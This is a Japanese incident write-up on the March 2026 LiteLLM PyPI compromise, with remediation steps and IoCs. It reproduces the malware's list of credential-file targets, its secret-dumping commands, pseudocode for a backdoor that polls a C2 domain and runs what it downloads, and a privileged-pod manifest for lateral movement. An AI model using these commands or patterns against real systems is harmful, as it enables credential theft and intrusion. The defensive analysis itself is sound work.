2026年3月24日の LiteLLM 侵害の概要と対応指針

2026年3月24日、LLMプロキシライブラリ LiteLLM の PyPI パッケージが侵害されました。 攻撃者は PyPI のメンテナアカウント(krrishdholakia)を乗っ取り、クレデンシャル窃取・Kubernetes 対象のラテラル・永続化マルウェアを含むバージョン 1.82.7 および 1.82.8 を公開しました。

本記事では公開情報をもとに、事象の概要を記録します。また、対応指針を示します。

免責

本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。 ペイロードの動作は手法の理解に必要な範囲で要約して記載しています。 記述の一部には不正確な情報が含まれている可能性があります。 速報性を優先していますので、ご了承ください。

TL;DR - 対応指針

  • pip show litellm によりインストール済バージョンを確認してください。
  • 1.82.7 または 1.82.8 がインストール済の場合、マルウェア感染の可能性があります。
    • 1.82.7 は import 時に発火。発火した場合、永続化・データの漏洩につながる。
    • 1.82.8 は Python の起動のみで発火(.pth 経由)。ただバグがあり、攻撃は成功しない。
  • 影響を受けたバージョンをインストールしている場合は、
    • まずアンインストールしてください。
    • 漏洩が疑われるクレデンシャルを即座にローテーション してください。
  • 利用継続する場合、現時点で安全と思わしき 1.82.6 以前のバージョンにピン留めしてください。
  • キャッシュからの再インストールを防ぐため、pip cache purge も実行してください。
  • 以下を含むディレクトリに永続化されたバックドアが存在し得ます。確認・削除ください。
    • ホスト上の ~/.config/sysmon/sysmon.py
    • ホスト上の ~/.config/systemd/user/sysmon.service
    • Kubernetes環境では kube-system namespace に node-setup-* という名前のPod
  • なお現在は PyPI 上からは、既に前述の悪性バージョンをダウンロードできません。

概要

今回の侵害は、3月19日の Trivy 侵害、3月23日の Checkmarx KICS GitHub Action 侵害に続く、脅威アクタ TeamPCP による3月中3度目のサプライチェーン攻撃です。

Trivy侵害で窃取されたCI/CDシークレットが起点となり、LiteLLMのCI/CDパイプラインからPyPI公開用クレデンシャルが窃取された可能性が言及されています1。 筆者も同インシデントを中心とした影響範囲をトラックしていますが、もう正直追い切れるようなものではなくなっています・・・。

タイムライン

以下に概略を示します。

日時 (JST) イベント
3月24日 19:39 悪性バージョン 1.82.7 が PyPI に公開
3月24日 19:52 悪性バージョン 1.82.8 が PyPI に公開(.pth ベクターを追加)
3月24日(時刻不明) PyPI が悪性バージョンを停止

いずれもGitHub上に対応するタグやリリースは存在せず、PyPIへの直接アップロードです。

侵害の仕組み

侵害の起点、各バージョンごとの侵害内容に分けて説明します。

侵害の起点

今回の侵害では、バージョンごとに悪性コードの実行起点が変化しています。

バージョン 注入箇所 発火条件
1.82.7 litellm/proxy/proxy_server.py litellm.proxy のインポート時
1.82.8 加えて litellm_init.pth 加えて Pythonインタプリタの起動時

Python インタプリタは site-packages 内の .pth ファイルを自動処理するため、1.82.8 では、 LiteLLMをインポートしなくても、インストール済環境で Pythonプロセスが起動するだけでペイロードが実行されます。

バージョン 1.82.7 の動作(バグっていない)

1.82.7 は litellm.proxy が import されたタイミングで、proxy_server.py 内の難読化コードが実行されます。

GitHub Issue には import litellmimport litellm.proxy で発火しそうな記載がありますが、筆者の理解ではこれらでは発火しません。正確には、from litellm.proxy.proxy_server import app までいかないと発火しないはずです。これは litellm --port 8000のようなコマンド実行でも到達するコードパスなので、litellm ユーザーには影響がありそうです。また勿論、自分のコードが前記のように proxy_server まで到達する依存を持っている場合も発火しそうです。

発火した際は、大きく3段階で動作します。

  1. 収集: SSH鍵やクラウドクレデンシャル(AWS/GCP/Azure)等をホスト上から広範に収集する
  2. 漏洩: 収集データを AES-256-CBC + RSA-4096 で暗号化し、models[.]litellm[.]cloud に HTTPS POST で送信する
  3. 永続化: ~/.config/sysmon/sysmon.py + ~/.config/systemd/user/sysmon.service にバックドアを配置し常駐する。50分間隔で C2(checkmarx[.]zone/raw)をポーリング

収集フェーズでは、静的解析した限り、以下ファイルが最大の読み取り対象となっています:

カテゴリ パス 概要
SSH ~/.ssh/id_rsa RSA秘密鍵
  ~/.ssh/id_ed25519 Ed25519秘密鍵
  ~/.ssh/id_ecdsa ECDSA秘密鍵
  ~/.ssh/id_dsa DSA秘密鍵
  ~/.ssh/authorized_keys 公開鍵一覧
  ~/.ssh/known_hosts 接続先ホスト一覧
  ~/.ssh/config SSH設定 (ProxyJump等)
  ~/.ssh/** (depth=2) .ssh配下の全ファイル
  /etc/ssh/ssh_host_*_key ホスト秘密鍵
Git ~/.git-credentials Git HTTPS認証トークン
  ~/.gitconfig Git設定 (メール, 署名鍵等)
AWS ~/.aws/credentials アクセスキー/シークレットキー
  ~/.aws/config リージョン/プロファイル設定
環境変数/.env ./.env, ../.env, ../../.env CWD近傍の.envファイル
  同上 .env.local / .production / .development / .staging / .test 各環境のバリエーション
  /app/.env コンテナ標準パス
  /etc/environment システム環境変数
  /home, /root, /opt, /srv, /var/www, /app, /data, /var/lib, /tmp 以下の .env* (depth=6) 全ディレクトリから.envを再帰探索
Kubernetes ~/.kube/config kubeconfig (クラスタ認証)
  /etc/kubernetes/admin.conf K8s管理者設定
  /etc/kubernetes/kubelet.conf kubelet設定
  /etc/kubernetes/controller-manager.conf コントローラマネージャ
  /etc/kubernetes/scheduler.conf スケジューラ
  /var/run/secrets/kubernetes.io/serviceaccount/token SAトークン (Pod内)
  同上 /ca.crt CA証明書
  同上 /namespace namespace名
  /run/secrets/kubernetes.io/serviceaccount/token 同上 (別パス)
  同上 /ca.crt 同上
GCP ~/.config/gcloud/** (depth=4) gcloud全設定・トークン
  ~/.config/gcloud/application_default_credentials.json ADC (サービスアカウント鍵)
Azure ~/.azure/** (depth=3) Azure CLI全設定・トークン
Docker ~/.docker/config.json レジストリ認証トークン
  /kaniko/.docker/config.json CI/CDビルド用
  /root/.docker/config.json root用
npm ~/.npmrc npm認証トークン
シークレット管理 ~/.vault-token HashiCorp Vaultトークン
  ~/.netrc HTTP Basic認証
FTP/メール ~/.lftp/rc LFTP設定 (パスワード)
  ~/.msmtprc SMTPパスワード
  /etc/postfix/sasl_passwd Postfix SMTP認証
  /etc/msmtprc システムmsmtp設定
データベース ~/.my.cnf MySQL認証情報
  ~/.pgpass PostgreSQL認証情報
  ~/.mongorc.js MongoDB初期化スクリプト
  /var/lib/postgresql/.pgpass PostgreSQLシステムユーザ
  /etc/mysql/my.cnf MySQLシステム設定
  /etc/redis/redis.conf Redisパスワード
LDAP /etc/ldap/ldap.conf LDAPクライアント設定
  /etc/openldap/ldap.conf 同上 (別パス)
  /etc/ldap.conf 同上 (別パス)
  /etc/ldap/slapd.conf LDAPサーバ設定
  /etc/openldap/slapd.conf 同上 (別パス)
VPN /etc/wireguard/*.conf (depth=1) WireGuard秘密鍵/ピア設定
Helm ~/.helm/** (depth=3) Helmリポジトリ認証
IaC/CI terraform.tfvars Terraform変数 (シークレット)
  全ルート以下 *.tfvars (depth=4) 同上 (再帰探索)
  全ルート以下 terraform.tfstate (depth=4) Terraform state (全リソース情報)
  .gitlab-ci.yml GitLab CI設定
  .travis.yml Travis CI設定
  Jenkinsfile Jenkins Pipeline
  .drone.yml Drone CI設定
  Anchor.toml Solana Anchor設定
  ansible.cfg Ansible設定
TLS証明書 /etc/ssl/private/*.key (depth=1) TLS秘密鍵
  /etc/letsencrypt/**/*.pem (depth=4) Let’s Encrypt証明書・秘密鍵
  全ルート以下 *.pem, *.key, *.p12, *.pfx (depth=5) あらゆるTLS/PKI秘密鍵
暗号資産 ~/.bitcoin/bitcoin.conf Bitcoin RPC認証
  ~/.litecoin/litecoin.conf Litecoin RPC認証
  ~/.dogecoin/dogecoin.conf Dogecoin RPC認証
  ~/.zcash/zcash.conf Zcash RPC認証
  ~/.dashcore/dash.conf Dash RPC認証
  ~/.ripple/rippled.cfg Ripple設定
  ~/.bitmonero/bitmonero.conf Monero設定
  ~/.bitcoin/wallet*.dat (depth=2) Bitcoinウォレット
  ~/.ethereum/keystore/** (depth=1) Ethereum秘密鍵
  ~/.cardano/**/*.skey, *.vkey (depth=3) Cardano署名鍵/検証鍵
  ~/.config/solana/** (depth=3) Solana CLI鍵
  ~/validator-keypair.json Solanaバリデータ鍵
  ~/vote-account-keypair.json Solana投票アカウント鍵
  ~/authorized-withdrawer-keypair.json Solana出金権限鍵
  ~/stake-account-keypair.json Solanaステーク鍵
  ~/identity.json Solanaバリデータ識別鍵
  ~/faucet-keypair.json Solana Faucet鍵
  ~/ledger/** *.json, *.bin (depth=3) 台帳/鍵ファイル
  /home/sol, /home/solana, /opt/solana, /solana, /app, /datavalidator-keypair.json バリデータ標準パス
  CWD以下 id.json, keypair.json, *-keypair.json, wallet*.json (depth=8) Solana/Anchor成果物
  .anchor/, ./target/deploy/, ./keys/ 以下 *.json (depth=5) Anchorビルド成果物
シェル履歴 ~/.bash_history Bash履歴
  ~/.zsh_history Zsh履歴
  ~/.sh_history sh履歴
  ~/.mysql_history MySQLクエリ履歴
  ~/.psql_history PostgreSQLクエリ履歴
  ~/.rediscli_history Redis CLI履歴
システム /etc/passwd ユーザ一覧
  /etc/shadow パスワードハッシュ

コマンド実行によるデータ収集も行われます。以下が静的解析の範囲で確認できるコマンドです。

カテゴリ コマンド 概要
システム偵察 hostname; pwd; whoami; uname -a; ip addr \|\| ifconfig; ip route ホスト名, ユーザ, OS, NIC, ルーティング
環境変数 printenv 全環境変数ダンプ
AWS env \| grep AWS_ AWS系環境変数
K8s find /var/secrets /run/secrets -type f \| xargs sh -c 'cat "{}"' マウントされたSecret全取得
K8s env \| grep -i kube; env \| grep -i k8s K8s系環境変数
K8s kubectl get secrets --all-namespaces -o json 全namespace Secret
GCP env \| grep -i google; env \| grep -i gcloud GCP系環境変数
GCP cat $GOOGLE_APPLICATION_CREDENTIALS SA鍵ファイル
Azure env \| grep -i azure Azure系環境変数
DB env \| grep -iE "(DATABASE\|DB_\|MYSQL\|POSTGRES\|MONGO\|REDIS\|VAULT)" DB接続文字列/パスワード
VPN wg showconf all WireGuard全設定
Webhook grep -r "hooks.slack.com\|discord.com/api/webhooks" . Slack/Discord Webhook URL
APIキー grep -rE "api[_-]?key\|apikey\|api[_-]?secret\|access[_-]?token" . --include="*.env*" ... .env/.json/.yml内のAPIキー/シークレット
Solana env \| grep -i solana Solana系環境変数
暗号資産 grep -r "rpcuser\|rpcpassword\|rpcauth" /root /home RPC認証情報
認証ログ cat /var/log/auth.log \| grep Accepted \| tail -200 SSH成功ログイン履歴
認証ログ cat /var/log/secure \| grep Accepted \| tail -200 同上 (RHEL系)

urllib 経由で収集する対象もありました。以下が静的解析の範囲で確認できる範囲です。

カテゴリ エンドポイント 概要
AWS IMDSv2 PUT 169.254.169.254/latest/api/token セッショントークン取得
AWS IMDSv2 GET 169.254.169.254/latest/meta-data/iam/security-credentials/ IAMロール名取得
AWS IMDSv2 GET 169.254.169.254/latest/meta-data/iam/security-credentials/{role} IAM一時クレデンシャル取得
AWS Secrets Manager POST secretsmanager.{region}.amazonaws.com ListSecrets
AWS Secrets Manager POST secretsmanager.{region}.amazonaws.com GetSecretValue (全件)
AWS SSM POST ssm.{region}.amazonaws.com DescribeParameters
K8s API GET /api/v1/secrets 全Secret取得
K8s API GET /api/v1/namespaces namespace一覧
K8s API GET /api/v1/namespaces/{ns}/secrets ns別Secret取得
K8s API GET /api/v1/nodes ノード一覧 (ラテラル用)
K8s API POST /api/v1/namespaces/kube-system/pods 特権Pod作成 (ラテラル)

収集されたデータは AES-256-CBC + RSA-4096 で暗号化され、models[.]litellm[.]cloud に HTTPS POST で送信されます。 暗号化に使われる RSA 公開鍵はペイロード内にハードコードされています。

永続化フェーズでは、~/.config/sysmon/sysmon.py にバックドアを配置し、systemd ユーザーサービスとして常駐させます。 典型的な C2 ポーリング型のバックドアで、擬似コードで示すと以下のような動作です。

C_URL = "https://checkmarx[.]zone/raw"    # C2 サーバー
TARGET = "/tmp/pglog"                       # ダウンロード先
STATE = "/tmp/.pg_state"                    # 前回URL記録

time.sleep(300)          # 起動後 5 分間スリープ (サンドボックス回避)
while True:
    url = fetch(C_URL)   # C2 に GET → ペイロード URL が返る
    if url != prev:
        download(url, TARGET)
        chmod(TARGET, 755)
        Popen([TARGET])  # 実行
    time.sleep(3000)     # 50 分間隔でポーリング

Kubernetes 環境に対してのみ、hostPID/hostNetwork = True な特権Podを全ノードに作成し、ホスト側でも同じバックドアを実行しようとします。 デプロイされるマニフェストのイメージは以下です。

pod_manifest = {
    'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
    'spec': {
        'nodeName': node_name,          # 各ノードを指定
        'hostPID': True,                # ホストの PID namespace 共有
        'hostNetwork': True,            # ホストのネットワーク共有
        'tolerations': [{'operator': 'Exists'}],  # 全 taint 無視 (master でも動く)
        'containers': [{
            'image': 'alpine:latest',
            'securityContext': {'privileged': True},     # 特権
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]  # ホスト / をマウント
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
    }
}

バージョン 1.82.8 の動作(バグっている)

静的に解析する限り、基本的に攻撃者が実行したかったであろうことは、バージョン 1.82.7 と同等だったと考えられます。

一方、実行トレースも取って観察しましたが、以下のようなパターンが繰り返されます:

  python -c "..."  ← .pth がトリガーされる
   └→ python -c "import base64; exec(b64decode(...))"  ← デコード&実行
       ├→ python -  (stdin payload)       
       │   ├→ sh -c "hostname; pwd; whoami; uname -a; ip addr; ip route"
       │   ├→ sh -c "printenv"
       │   └→ ...       
       │
       └→ python -c "import base64; exec(...)"  ← 再帰的な実行(!)
           └→ [同一チェーンを再帰的に繰り返し]

これは 1.82.7 と同じスクリプトを実行しようとするものの、途中に Python を subprocess で起動する実装が含まれることにより起こっています。 .pth が .pth のロードを自己再帰的に引き起こすということです。fork bomb 相当ともいえます。

おそらく 1.82.8 に感染した端末では、CPU・メモリの異常使用を除けば、攻撃はなかなか成立しなかったのではないかと推察されます。筆者がトレースの取得を試みた際は、CPU・メモリを食いつぶしてVMが死んでしまいました。

対応指針

以下は筆者の調査結果を踏まえた参考情報であり、記録として示すものです。 正確性・網羅性を保証するものではなく、本指針に基づく対応の結果について筆者は一切の責任を負いません。 実際の対応は各組織の判断に基づいて行ってください。

1. バージョン確認

pip show litellm 2>/dev/null | grep -i version

1.82.7 または 1.82.8 が表示された場合、以降の手順に進んでください。 それ以外のバージョンであれば、直接的な影響はありません。

2. アンインストールとキャッシュ削除

pip uninstall litellm
pip cache purge

利用を継続する場合は litellm<=1.82.6 にピン留めしてください。

3. バックドアの確認と除去

# バックドアの存在確認
ls -la ~/.config/sysmon/sysmon.py ~/.config/systemd/user/sysmon.service 2>/dev/null

# 存在した場合の除去
systemctl --user stop sysmon.service
systemctl --user disable sysmon.service
rm -f ~/.config/sysmon/sysmon.py ~/.config/systemd/user/sysmon.service /tmp/pglog /tmp/.pg_state
systemctl --user daemon-reload

Kubernetes 環境では、kube-system namespace に node-setup-* Pod が作成されていないかも確認してください。

kubectl get pods -n kube-system | grep node-setup

4. クレデンシャルのローテーション

1.82.7 が import された可能性がある環境では、前述の収集対象を踏まえ、クレデンシャルのローテーションを検討してください。 1.82.8 に感染した環境であっても、場合によっては刺さる可能性がゼロではない為、同様です。

推奨:自衛手段の整備

Trivy侵害から始まったTeamPCPの連鎖攻撃は、KICS、そしてLiteLLMへと波及しており、窃取済みクレデンシャルを起点にした侵害が今後も続く可能性があります。 次にどのパッケージが狙われるかは予測できないため、可能な限りの自衛を推奨します。

自衛策の一つとすべく、筆者が所属する組織(GMO Flatt Security)から、セキュアなレジストリプロキシ Takumi Guard の PyPI エンドポイント をリリースしました。

Takumi Guard は pip/uv/poetry と PyPI(レジストリ)の間に位置するセキュリティプロキシで、悪意あるパッケージがブロックされます。我々で全ての新規パッケージを検査しています。 また、仮にある時点ではパッケージがマルウェアと判定できず、ブロックされなかった場合も、後日の通知を行う仕組みもあります。なお通知を受けるためには、メールアドレスの登録が必要です(それはそうなのですが)。

また、今回は諸般の流れを汲み、やや冒険的ですが 72時間の検疫期間を設けています。新規公開バージョンが 72 時間はインストールできない仕組みです。今回の場合、公開から数時間でマルウェアがテイクダウンされている為、このような事象からの影響を受ける可能性が低減できます。現状 uv以外では npm 文化圏でいう minimumReleaseAge に相当する仕組みが見当たらず、一定この意味で寄与するものと思料します。

導入は index URL の変更のみで完了します。必要に応じて利用を検討してください。

# pip
export PIP_INDEX_URL=https://pypi.flatt.tech/simple/

# uv
export UV_INDEX_URL=https://pypi.flatt.tech/simple/

# poetry
poetry source add --priority=primary takumi-guard https://pypi.flatt.tech/simple/

IoCs

確認された侵害の痕跡(Indicators of Compromise)を以下に示します。

ネットワーク

種別 備考
ドメイン models[.]litellm[.]cloud データの持ち出し先。公式に似せたドメイン
ドメイン checkmarx[.]zone C2。/raw からペイロード配信

パッケージそのもの

種別
侵害バージョン litellm==1.82.7, litellm==1.82.8
SHA-256 (1.82.7 wheel) 8395c3268d5c5dbae1c7c6d4bb3c318c752ba4608cfcd90eb97ffb94a910eac2
SHA-256 (1.82.8 wheel) d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb
SHA-256 (litellm_init.pth) 71e35aef03099cd1f2d6446734273025a163597de93912df321ef118bf135238
SHA-256 (proxy_server.py) a0d229be8efcb2f9135e2ad55ba275b76ddcfeb55fa4370e0a522a5bdee0120b

永続化に関わるもの

パス ハッシュ
~/.config/sysmon/sysmon.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
~/.config/systemd/user/sysmon.service うまく取得できず。でき次第追記します
/tmp/pglog 状況による
/tmp/.pg_state 状況による
  1. https://news.ycombinator.com/item?id=47502858 より。datente18 さんがメンテナであることは、確実には確認していませんが、GitHub リポジトリの内容から主張自体は正しいと判断 

Written on March 24, 2026